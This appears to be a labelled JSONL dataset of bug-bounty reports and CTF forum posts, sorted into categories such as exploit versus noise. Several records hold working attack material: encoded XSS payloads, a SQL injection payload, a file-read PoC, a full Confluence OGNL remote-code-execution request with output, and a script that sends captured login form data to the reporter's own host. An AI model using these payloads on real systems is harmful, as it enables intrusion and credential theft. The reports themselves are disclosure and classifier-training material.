-{"id": "9ff344f6192491039e92", "text": "[Improper Authentication - Generic] Traffic amplification attack via discovery protocol\n\n**Summary:** It’s possible to use UDP discovery protocol to amplify DDoS attacks. Ping-pong mechanism that was intended to protect against it isn’t properly implemented. An attacker can successfully finish it, even with spoofed IP. Then he can send \"FindNodePeerMessage\" with spoofed IP in UDP packet and RSKJ node will send much larger \"NeighborsPeerMessage\" to third-party victim. This way an attacker can easily perform DDoS attack both on RSKJ node and third-party server.\n\n**Description:** An attacker can send \"PingPeerMessage\" with his correct IP as source IP. It will cause RSKJ node to send \"PingPeerMessage\" with random \"check\" value to the attacker. Then he can reply with \"PongPeerMessage\" containing correct \"check\" but with spoofed IP. RSKJ doesn't check if pong message comes from the same IP as ping message and this way spoofed IP is added to establishedConnections. Then attacker can send \"FindNodePeerMessage\" with spoofed IP to perform traffic amplification attack. This vulnerability can be resolved by checking if source IP in pong message is the same as IP in ping message.\n\n## Steps To Reproduce:\n\n  1. Send \"PingPeerMessage\" with correct victim's IP\n  2. Wait for \"PingPeerMessage\" from RSKJ\n  3. Send \"PongPeerMessage\" with correct \"check\" value but spoofed IP\n  4. Send \"FindNodePeerMessage\" in a loop to perform traffic amplification attack\n\nI'm attaching PoC in the attachment. Need to fill correct RSKJ node IP and port and DDoS victim's IP (and run with root privileges on attacker's host).\n\n## Supporting Material/References:\n\n  * I'm sending patch in the attachment\n\n## Impact\n\nIt makes much easier to perform DDoS attack and it can lead to DoS both of RSKJ node and third-party servers.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f110638667d61ff37968", "text": "So I ran the shell code and got something back, but it’s not the right answer, even though it looks like the right answer given the ‘format’. Can someone who figured this out PM me so I can confirm if I’ve got the right output? If not can you tell me how to get the right output?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7c72b0a61caa5c1ddf4e", "text": "[Improper Input Validation] CVE-2022-35252: control code in cookie denial of service\n\nhttps://hackerone.com/reports/1613943\n\n## Impact\n\ncontrol code in cookie denial of service", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-35252"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7f4dc5176fb8b467aab5", "text": "[Privilege Escalation] Renaming/aliasing relative symbolic links potentially redirects them to supposedly inaccessible locations\n\nIf a relative symbolic link is accessible to the Node.js process while the permission model is enabled, it can be redirected to a different target by renaming/aliasing it, which potentially allows the process to bypass restrictions imposed by the permission model.\n\n## Steps To Reproduce:\n\n1. Let's begin with a trusted directory structure.\n  ```console\n   git clone -b v20.0.0 --depth 1 https://github.com/nodejs/node.git node-20\n   cd node-20\n   ```\n2. Now enter a Node.js REPL that (supposedly) only has access to the current working directory:\n   ```console\n   node --experimental-permission --allow-fs-read=$(pwd) --allow-fs-write=$(pwd)\n   ```\n3. Now either `rename` or `link` an existing relative symbolic link to redirect it. Example:\n   ```js\n   fs.renameSync('tools/node_modules/eslint/node_modules/eslint', 'escape');\n   fs.readdirSync('escape');  // Prints the contents of the (supposedly inaccessible) parent directory.\n   ```\n\nConveniently, `tools/node_modules/eslint/node_modules/eslint` is a symbolic link that points to its parent directory. As long as it remains in its original location, that is, of course, not a problem. In fact, relative symbolic links are very common, especially on Linux systems, and the symbolic link's target is well within the directory structure that the process is allowed to access. Once renamed, however, the symbolic link points outside of said directory structure.\n\n## Impact\n\nOf course, this depends on the pre-existing directory structure. In the worst case, this vulnerability allows an attacker to access any files on the system, regardless of restrictions imposed by the permission model.\n\nThis problem would be much more severe if not for another bug in the permission model, which prevents creating relative symbolic links altogether. Luckily, this other bug prevents the attacker from creating relative symlinks themselves, thus, they have to rely on existing relative symlinks (plus any created by package managers, etc.). Due to this fortunate restriction, I have not set the severity of the vulnerability to \"high\" but only to \"medium\".", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6c0cfe3d5cf71c741fd2", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected Cross Site Scripting at http://www.grouplogic.com/files/glidownload/verify3.asp [Uppercase Filter Bypass]\n\n## Summary\nThe below URL checks if the product serial number provided in the url parameter **serial** is valid or not.\n```\nhttp://www.grouplogic.com/files/glidownload/verify3.asp?version=CC1100x7660&serial=<product serial here>\n```\nIf an invalid product serial is provided, the user submitted serial is displayed in the response. It was observed that the serial parameter is properly sanitized and is displayed in the response without output encoding. However, the **input characters were converted to UPPERCASE**, this prevented any attempts to inject arbitrary JavaScript code inside event handlers as UPPERCASE JavaScript built in functions are not executed. ie, **alert() != ALERT()**.\n\nHowever, if the input JavaScript does not contain any alphabets, they are not converted into uppercase and the JavaScript would get executed. This can be achieved by encoding the characters.\n\nBelow reference was used in encoding strings so that only numbers were present in injected JavaScript.\nReference: https://www.ic.unicamp.br/~stolfi/EXPORT/www/ISO-8859-1-Encoding.html\n\nInject any of below payloads in **serial** parameter to trigger XSS.\n\nPayload to run **alert(1)** :\n```\n[][\"\\146\\151\\154\\164\\145\\162\"][\"\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162\"](\"\\141\\154\\145\\162\\164\\50\\61\\51\")()\n```\nPayload to run **alert(document.domain)** :\n```\n[][\"\\146\\151\\154\\164\\145\\162\"][\"\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162\"](\"\\141\\154\\145\\162\\164\\50\\144\\157\\143\\165\\155\\145\\156\\164\\056\\144\\157\\155\\141\\151\\156\\51\")()\n```\nPayload to run **alert(document.cookie)** :\n```\n[][\"\\146\\151\\154\\164\\145\\162\"][\"\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162\"](\"\\141\\154\\145\\162\\164\\50\\144\\157\\143\\165\\155\\145\\156\\164\\056\\143\\157\\157\\153\\151\\145\\51\")()\n```\n\n## Steps To Reproduce\nNavigate to any of  below URL from a browser to trigger XSS:\n\n```\nPoC 1:\nhttp://www.grouplogic.com/files/glidownload/verify3.asp?version=CC1100x7660&serial=%3Ch1+onmouseover=[][%22\\146\\151\\154\\164\\145\\162%22][%22\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162%22](%22\\141\\154\\145\\162\\164\\50\\144\\157\\143\\165\\155\\145\\156\\164\\056\\144\\157\\155\\141\\151\\156\\51%22)()%3Etest%3C/h1%3E\n\nPoC 2:\nhttp://www.grouplogic.com/files/glidownload/verify3.asp?version=CC1100x7660&serial=%3Cimg+src=x+onerror=[][%22\\146\\151\\154\\164\\145\\162%22][%22\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162%22](%22\\141\\154\\145\\162\\164\\50\\144\\157\\143\\165\\155\\145\\156\\164\\056\\144\\157\\155\\141\\151\\156\\51%22)()%3Etest%3C/h1%3E\n\nPoC3:\nhttp://www.grouplogic.com/files/glidownload/verify3.asp?version=CC1100x7660&serial=%3Cimg+src=x+onerror=[][%22\\146\\151\\154\\164\\145\\162%22][%22\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162%22](%22\\141\\154\\145\\162\\164\\50\\144\\157\\143\\165\\155\\145\\156\\164\\056\\143\\157\\157\\153\\151\\145\\51%22)()%3Etest%3C/h1%3E\n```\n\n## Recommendations\nIt is highly recommended to implement output encoding.\nEncode the following characters with HTML entity encoding to prevent switching into any execution context, such as script, style, or event handlers. Using hex entities is recommended in the spec. The 5 characters significant in XML ```(&, <, >, \", ')```:\n\n```\n & --> &amp;\n < --> &lt;\n > --> &gt;\n \" --> &quot;\n ' --> &#x27;\n```\n\nReference: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\n\n## Impact\n\nXSS can be used to :\n- Steal cookies, password\n- Website Defacement\n- Redirect Victim to Malicious site\n- Log keystrokes etc.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f7a377ac021e7683d54f", "text": "[Information Disclosure] an internel important  paths  disclosure  [HtUS]\n\n## Summary:\ni found CGI script environment variable disclosure an important paths \n\n## Steps To Reproduce:\n\n\n  1. visit this link : https://███\n  2.  look at poc pic \n\nyou should restrict this quickly\n\n## Impact\n\nthis is so dangerous because attacker now know an internal paths and this juicy information as u can see in poc pic he know now the mysql path , openssl config server admin and more ... etc", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ecdba9fde434fb159e6a", "text": "[SQL Injection] SQL INJECTION  in https://████/██████████\n\nBug is : Sql injection in https://██████████/████████  via Referer\nI've confirmed the vulnerability using sleep SQL queries with various arithmetic operations. The sleep command combined with the arithmetic operations will cause the server to sleep for various amounts of time depending on the result of the arithmetic operation.\n\n##Proof of concept :\n1- go to https://██████████/████████  and capture Request \n2- put this payload in Referer '+(select*from(select(sleep(6*6)))a\n\n## Impact\n\n##Impact :\nAn attacker can manipulate the SQL statements that are sent to the MySQL database and inject malicious SQL statements. The attacker is able to change the logic of SQL statements executed against the database.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "df080c176b2c70eb09f3", "text": "[Information Disclosure] Snowflake server: Leak of TLS packets from other clients\n\n## Summary:\nThis issue is related to the Snowflake pluggable transport server. \nIt seems Snowflake clients receive \"ghost\" packets at the KCP layer, that encapsulate TLS packets unrelated to the current session.\nThose TLS packets are from other clients, and contain handshake record, application data, or other TLS stuff.\n\n## Steps To Reproduce:\nJust run a Snowflake client and it will start receiving ghost packets.\n\n## Setting up KCP logging:\n\n1. Git clone the Snowflake client\n2. Open VSCode or similar editor\n3. In the `torrc` file,  setup logging with `ClientTransportPlugin snowflake exec ./client -log snowflake.log`\n4. Open `./lib/snowflake.go`, search `kcp.NewConn2`, right click then `Go to definition`\n5. Search `readLoop`, right click then `Go to definition`\n6. Right click on `defaultReadLoop` then `Go to definition`\n7. Now just under the line where it says `s.conn.ReadFrom(buf)`, add the line `log.Println(\"kcp <-\", buf)`\n8. Now start Tor with Snowflake using `tor -f ./torrc`\n9. Open `./snowflake.log`\n\n## Inspecting\n\nNotice that the KCP layer receive bytes not starting with the regular KCP header:\n\n{F2187164}\n\n`X X X X 81 0 255 255 ...`\n\n4 little-endian bytes for the conversation ID, then 81/82 for the command, then 0, then 255 255 (little-endian) for the window size.\n\nThis is an issue because KCP packets, just like TCP packets, are segments, and are never segmented themselves.\n\nSo, KCP doesn't recognize those ghost packets and discard them.\n\nIn `Input`\n\n{F2187165}\n\nIn `kcpInput`, which calls `Input`\n\n{F2187166}\n\nThey are completely discarded and never reach the upper layer, that's why this has never been noticed.\n\nSo, what are those packets? \n\nSome look like SMUX packets: \n\n{F2187167}\n \n`2 2 L L S 0 0 0`\n\n2 for the SMUX version, 2 for the psh command, 2 little-endian bytes for the length, and 4 little-endian bytes for the stream.\n\nBy the way, the stream ID is always set to 3, which is a proof that those packets are from other clients, as if you change the default SMUX stream ID to something else (in the SMUX code), you will still receive those packets from stream 3.\n\n Some other look like KCP packets, but the conversation ID is not the same as other KCP packets:\n\n{F2187168}\n\nIf you Cmd+F these bytes, you will not find any other occurence, so you never had this conversation ID, which is another proof that those packets are from other clients, and not from a previous connection.\n\nThose KCP packets also contains a SMUX packet:\n\n{F2187169}\n\nNow, the creepy part is that both those packets contain TLS packets:\n\n{F2187171}\n\n{F2187172}\n\n{F2187173}\n\n20/21/22/23 for the record type (handshake, application data, ...), then 3 3 (big-endian) for the TLS version (which is 1.2), then the TLS fragment (encrypted if type 23)\n\n{F2187174}\n\nNotice that in the following screenshot, we have a ghost packet containing TLS application data (23) before our normal packets containing TLS handshake data (22)\n\n{F2187175}\n\nThis is another proof that the ghost packets are from another TLS connection, as it would be impossible to get TLS application data before handshake data (except if renegociation, which is not the case here as it's a fresh new connection)\n\n## Conclusion\n\nAll this leads to the conclusion that the Snowflake server is leaking TLS packets to clients from other clients.\n\nThis would still need further investigation: \n- Why is this occuring?\n- Is the Snowflake client leaking too?\n- Can we exploit this? To deanonymize people?\n\nWhile we don't know those answers, this issue must be considered with high severity.\n\n## Impact\n\nEven if it seems we can't modify those packets or exploit the TLS protocol, this issue still needs further investigation in order to show its real impact, as it could possibly deanonymize users.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0a440bcb134011b18160", "text": "[Path Traversal] lfi in filePathDownload parameter via ███████\n\nhi i found critcal lfi vulnerability \npoc: https://█████████/████████=/etc/passwd\nresponse: \n```\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:99:99:Nobody:/:/sbin/nologin\nsystemd-network:x:192:192:systemd Network Management:/:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\npolkitd:x:999:998:User for polkitd:/:/sbin/nologin\npostfix:x:89:89::/var/spool/postfix:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin\nchrony:x:998:995::/var/lib/chrony:/sbin/nologin\nec2-user:x:1000:1000:Cloud User:/home/ec2-user:/bin/bash\nsaslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin\nmailnull:x:47:47::/var/spool/mqueue:/sbin/nologin\nsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologin\nsssd:x:995:993:User for sssd:/:/sbin/nologin\nrpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin\nntp:x:38:38::/etc/ntp:/sbin/nologin\nrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin\nnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin\nsustainment:x:1001:1001::/home/sustainment:/bin/bash\nemerg:x:1002:1002:Sustainment Linux Emergency Acct:/home/emerg:/bin/bash\ncwagent:x:993:992::/home/cwagent:/bin/bash\nssm-user:x:1003:1004::/home/ssm-user:/bin/bash\napache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin\ntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin\ndrupal:x:1004:1005::/home/drupal:/bin/bash\nsplunk:x:1005:1006:Splunk Server:/opt/splunkforwarder:/bin/bash\nmfe:x:992:1007::/home/mfe:/sbin/nologin\n```\n\n## Impact\n\nattacker can read any file in system\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nall poc in Description\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0c1479039b9d5221da05", "text": "[Business Logic Errors] An Attacker Can Flag Draft Job Posts And Can Disclose The Draft Job Posts Details [ Similar to #1581528 Resolved Report]\n\nDuring the security assessment, It has been observed that the Job posts ID is numerical, while testing I came across an endpoint where a user can report the job posts of other users. The business logic error is present where an attacker can report the draft job posts of other users. After reporting the draft posts, the attacker receives a notification from LinkedIn about the reported job posts disclosing some details of the draft job posts ( which are not even published yet) .\n\nAlso, Report: #1581528 is similar, and it is resolved, but in my case, I was still able to report the draft jobs. \n\n\n##Steps:\n1) Login into the account and go to job posts like ``` https://www.linkedin.com/jobs/view/██████/```.\n2) Open any draft job  ``` https://www.linkedin.com/jobs/view/██████████/``` It will give the error ``` something went wrong```.\n3) Report the posted job and intercept the vulnerable request.\n██████████\n4) Forward the job using the draft jobid- █████. The report will get submitted without any error \n███\n5) After some time, the attacker receives the notification from Trust and Safety Team ( We’ve reviewed your report) . Disclosing the job details of the job posts.\n█████████\n\n## Vulnerable Request:\n```\nPOST /lite/flag-content?contentUrn=urn:li:jobPosting:██████████&reason=SPAM_CONTENT&contentSource=JOBS_PREMIUM_OFFLINE&authorProfileId=0&trk=report-content HTTP/2\nHost: www.linkedin.com\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nCsrf-Token: ajax:███\nX-Isajaxform: 1\nOrigin: https://www.linkedin.com\nReferer: https://www.linkedin.com/jobs/search/?currentJobId=████████\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nContent-Length: 0\nTe: trailers\n```\n\n## Impact\n\nAn attacker can report any draft job and can access the details of the job, like : job name of the company, etc details.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5912f5e4b04439748426", "text": "[Unknown] No password length restriction in reset password endpoint at http://suppliers.mtn.cm\n\nHello\n\n## Summary:\nI found no password length restriction in reset password endpoint at http://suppliers.mtn.cm when resetting new password\n\n## Steps To Reproduce:\n1. Visit https://suppliers.mtn.cm/ and register.\n2. logout and reset your password\n3. go to your email and click on reset password link\n4. enter 150 characters as a password and confirm the characters\n5. you will successfully logged in.\n\n## Impact\n\nAttacker can do denial of service to your server since there is no restriction in the length of password.\nExample when he enter like 2500 character, your server will crash for some time,\n\nI did not attempt to ddos your server,  because you exclude any activity related to denial of service to your assets, I only test for 150 character and its working.\n\n##Mitigation :\nRestrict user to use less than 40 character as a password, while the restriction should be both on back-end and front-end (with javascript ).\n\n##Thank you", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4b7ca2677ad3826b6c9c", "text": "[OS Command Injection] RCE in ███ [CVE-2021-26084]\n\nIn affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if ‘Allow people to sign up to create their account’ is enabled. To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0\n\n## Impact\n\n-   An unauthenticated, 3rd-party attacker or adversary can execute remote code\n\n## System Host(s)\n██████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-26084\n\n## Steps to Reproduce\nPOST\n(command cat /etc/passwd)\n```\nPOST /confluence/pages/doenterpagevariables.action HTTP/1.1\nHost: ████\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36\nAccept-Encoding: gzip\nContent-Length: 915\n\nqueryString=aaaaaaaa\\u0027%2b{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var+isWin+%3d+java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022)%3b+var+cmd+%3d+new+java.lang.String(\\u0022cat /etc/passwd\\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\\u0022cmd.exe\\u0022,+\\u0022/c\\u0022,+cmd)%3b+}+else{p.command(\\u0022bash\\u0022,+\\u0022-c\\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\\u0022\\u0022%3b+var+output+%3d+\\u0022\\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\\u0027)}%2b\\u0027\n\n```\n\nYou will see the output of the ifconfig command\n\nOUTPUT\n```\n         type=\"hidden\"\n          name=\"queryString\"            value=\"aaaaaaaa[root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nconfluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash\n]\"             />                <input\n]\"             />\n```\n\n## Suggested Mitigation/Remediation Actions", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-26084"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0d8f5148fee06cd44500", "text": "Thank you very much, you have helped me to find the flag. I have followed the following steps: 1). I have used the code provided by @XSSDoctor and generated the binary. 2). I have opened the binary with “gdb” and made a breakpoint after the “xor”. The idea is to get the value of the “rdx” register in each of the 14 iterations. The ShellCode is the concatenation of the 14 iterations. 3). You run the ShellCode. I ended up very tired after this", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "336fa1d2683eef9b85f0", "text": "hello evryone as mentioned above by others is better to use echo $var | wc -c using the length count gives and error.hopefully your code is also well written", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6b5ef80624157defa312", "text": "[Code Injection] --libcurl code injection via trigraphs\n\n## Summary:\n\ncurl command `--libcurl` option can be tricked to generate C code that when compiled contains arbitrary code execution.\n\n## Steps To Reproduce:\n  1. `curl --libcurl client.c --user-agent \"??/\\\");char c[]={'i','d',' ','>','x',0},m[]={'r',0};fclose(popen(c,m));//\" http://example.invalid`\n  2. `gcc -trigraphs  client.c -lcurl -o client`\n  3.  `./client`\n  4. `ls -l x`\n\nNote: In this PoC older compiler is simulated by passing `-trigraphs` option to gcc.\n\nTo remedy this issue `?` chars should be quoted to `\\?` in the generated strings.\n\n## Impact\n\nCode injection to generated source code.\n\nHowever, the impact of this vulnerability is minimal due to difficultly in finding scenarios where it would be practically exploitable. To be even remotely plausible curl command should somehow be hooked into a system that uses `--libcurl` to generate, compile and finally execute the compiled code *while* also accepting external user input for the curl command options. This seems extremely unlikely to happen in real life.\n\nTrigraph support has also largely been disabled by now (gcc and clang have it disabled by default at least).\n\nI don't really mind if this is found to be \"not a vulnerability\" (or only self-exploitable). In this case just close this H1 ticket and create a regular GitHub issue / or fix it direct.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c94fe0a212565c84223f", "text": "If you can debug a bit, you will know ${LS_COLORS} doesn’t exist.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "08ea6ca76d2e571a7afb", "text": "Hello, I stuck at flag4. So, to be honest I dont havy any ideas how should I proceed. I saw that tomcat folder has “S” priv but no idea how should I proceed. SHould I look for some specific logs? EDIT: I found a user: tomcatadm with its password. But it is not the actual user tomcat for the flag4. What I am missing? WHat is this user ?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-08-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d10cdfabd6c9a604d6a2", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS on www.hackerone.com due to deleted S3-bucket from old page_widget\n\nHi,\n\nI hope you all are good! Here's a funny little bug :) I tried making the most out of it and hope you'll like it.\n\nAs you probably know, you're proxying `https://www.hackerone.com/resources` to `read.uberflip.com`. Uberflip has done a great job isolating content for hubs between custom domains pointing to them, so it wasn't that easy to find something interesting here. However, after a while I noticed that there's an old concept called \"page widgets\" that are still present cross-customers for Uberflip under `/read/page_widget/XXX` where `XXX` is a numeric ID of a widget.\n\nI have no idea how these page widgets are created, but a lot of them seem old. Like, *really* old. Most of them used `http` to load any additional assets which prevented `https://www.hackerone.com` from loading any of the HTTP-assets, but after some digging I did find a few widget-IDs that  used HTTPS to load javascript.\n\nOne of those widgets looked like this:\n\n```html\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n<meta name=\"robots\" content=\"noindex, nofollow\">\n<title>Flipbook Widget</title></head>\n<body style=\"margin:0; padding:0; background:transparent; overflow:hidden;\"><div id=\"widget\" style=\"float:left;\"> <script id='vspoverlayrun'\n\ncodecredit='CopyRight_VSPWorldwide_Productions'\nvideofolder='hosted'\nprojectname='vmags43_overlay'\nalignvideo='bottommiddle'\noffsetx='0'\noffsety='0'\nwaittime='1000'\nautoplay='yes'\nvideowidth='300'\nvideoheight='480'\nvideoscale='1'\nvideoscalemobile='1'\nposterscale='0.5'\nclickvideo='close'\nautodim='0'\nautodimcolor='#000000'\n\nsrc='https://s3.amazonaws.com/vspcode/vspoverlayrun1.js'></script></div></body></html>\n```\n\nWhat was funny with this one was that the S3-bucket `vspcode` did not exist. I could now claim this bucket and run javascript on `https://www.hackerone.com`:\n\n```\n$ aws s3api create-bucket --profile frans --bucket vspcode\n{\n    \"Location\": \"/vspcode\"\n}\n\n$ echo \"alert(document.domain + ':' + location.href);\" > vspoverlayrun1.js\n\n$ aws s3 cp vspoverlayrun1.js s3://vspcode/ --acl public-read --profile frans\n\nupload: ./vspoverlayrun1.js to s3://vspcode/vspoverlayrun1.js\n```\n\nI could then visit the widget and see:\n\n{F1771181}\n\nAs you're already aware, the `www`-subdomain is still isolated from the app-domain at `https://hackerone.com`. However, the concept of separating an app using `www` vs apex is – I would say – not a standard concept at all. This means that for example password managers will actually help the user by still suggesting auto completion on `www` if the saved login is on the apex-domain. This applies for example both to Safari and Chrome:\n\n{F1771182}\n\n{F1771183}\n\nSo I made a javascript that will replace the full content of the page with the sign-in-form of `https://hackerone.com`. The only difference is that it'll log any events interacting with the inputs:\n\n```js\nhistory.pushState('','Sign in', 'https://www.hackerone.com/users/sign_in')\nfunction log() { \n var x = new FormData(document.forms[0]);\n (new Image()).src='https://MY-DOMAIN/hackerone/?' + btoa(JSON.stringify(Object.fromEntries(x.entries())))\n};\ndocument.body.parentElement.innerHTML = 'login-page-of-hackerone.com';\n```\n\nThis allows me to see any actions taken or any auto-completion triggering on these forms on my own host:\n\n{F1771184}\n\n### PoC\n\nHere's how my page looks like:\n\n{F1771180}\n\nHere's a video showing the concept of loading the website:\n\n{F1771179}\n\nAnd here's the vulnerable URL:\n\n```\nhttps://www.hackerone.com/resources/read/page_widget/413780\n```\n\nRegards,\nFrans\n\n## Impact\n\n#", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
